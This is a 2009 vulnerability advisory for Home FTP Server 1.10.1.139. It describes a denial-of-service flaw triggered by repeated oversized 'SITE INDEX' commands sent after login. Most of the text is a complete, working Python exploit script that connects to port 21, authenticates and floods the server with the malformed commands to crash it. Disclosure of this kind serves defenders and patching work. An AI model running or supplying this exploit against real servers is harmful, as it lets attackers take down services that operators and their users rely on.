Home FTP Server Denial Of Service

`Date of Discovery: 16-Nov-2009  
  
Credits:zhangmc[at]mail.ustc.edu.cn  
  
Vendor: Ari Pikivirta  
http://downstairs.dnsalias.net/homeftpserver.html  
  
Affected:  
Home FTP Server 1.10.1.139  
Earlier versions may also be affected  
  
Overview:  
Home FTP Server FTP Server is an easy use FTP server Application. Denial of service   
  
vulnerability exists in Home FTP Server that causes the application to stop service when we   
  
send multiple irregular "SITE INDEX" commands to the server.  
  
Details:  
If you could log on the server successfully, take the following steps and the application   
  
will stop service:  
  
1.sock.connect((hostname, 21))  
2.sock.send("user %s\r\n" %username)  
3.sock.send("pass %s\r\n" %passwd)  
4.for i in range(1,20):  
sock.send("SITE INDEX "+ "a"*30*i +"\r\n")  
5.sock.close()  
  
  
Severity:  
High  
  
Exploit example:  
  
#!/usr/bin/python  
import socket  
import sys  
  
def Usage():  
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")  
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")  
if len(sys.argv) <> 4:  
Usage()  
sys.exit(1)  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
passwd=sys.argv[3]  
test_string="a"*30  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
for i in range(1,30):  
try:  
sock.connect((hostname, 21))  
except:  
print ("Connection error!")  
sys.exit(1)  
r=sock.recv(1024)  
print "[+] "+ r  
sock.send("user %s\r\n" %username)  
print "[-] "+ ("user %s\r\n" %username)  
r=sock.recv(1024)  
print "[+] "+ r  
sock.send("pass %s\r\n" %passwd)  
print "[-] "+ ("pass %s\r\n" %passwd)  
r=sock.recv(1024)  
print "[+] "+ r  
  
  
for i in range(1,20):  
sock.send("SITE INDEX "+ test_string*i +"\r\n")  
print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")  
r=sock.recv(1024)  
print "[+] "+ r  
  
sock.close()  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
  
sys.exit(0);  
  
`